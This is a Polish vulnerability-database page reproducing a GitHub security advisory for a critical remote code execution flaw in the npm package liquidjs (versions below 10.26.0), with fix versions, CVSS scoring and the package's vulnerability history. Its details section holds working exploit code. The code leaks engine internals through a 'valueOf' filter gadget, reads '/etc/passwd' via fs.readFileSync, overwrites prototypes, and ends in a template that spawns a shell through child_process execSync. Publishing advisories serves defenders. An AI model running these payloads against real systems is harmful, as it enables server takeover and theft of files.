Krytyczna

LiquidJS is Vulnerable to Remote Code Execution

  • Ujawniono: 27.05.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

It is possible to execute arbitrary code with crafted templates

Details

<details> <summary> `1|valueOf` -> `this` when evaluating the filter </summary>
liquid
{%assign r=1|valueOf%}
{{r|inspect}}
js
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
</details> <details> <summary> function calls with a controlled first argument via comprable </summary>
js
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}

${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
<img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" /> </details> <details><summary>changing the prototype of things</summary>
js
import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}

{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
<img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" /> </details>

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

ts
  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

js
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}

${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}

{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")} 

{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}

{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

Impact

What kind of vulnerability is it? Who is impacted? Remote Code Execution.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm liquidjs < 10.26.0 10.26.0

Odnośniki

Ocena CVSS 10/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-94
Platforma
npm
Paczka
liquidjs
Ujawniono
27.05.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-gf2q-c269-pqgc - CC BY 4.0

Historia podatności: liquidjs

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (19) w archiwum
Wszystkich wpisów
19
Pierwsza → ostatnia
12.2022 10.2026
Bez poprawki
6
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 10
  • Średnia 7
  • Niska 1

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 18
Istotność:
  1. Wysoka CVE-2026-61556 >= 10.26.0, < 10.27.1 10.27.1
  2. LiquidJS is Vulnerable to Remote Code Execution ten wpis
    Krytyczna · 10.0 CVE-2026-45618 < 10.26.0 10.26.0
  3. Wysoka · 7.5 CVE-2026-41311 < 10.25.7 10.25.7
  4. Wysoka · 7.5 CVE-2026-33285 <= 10.24.0 brak poprawki
  5. Wysoka CVE-2026-30952 < 10.25.0 10.25.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.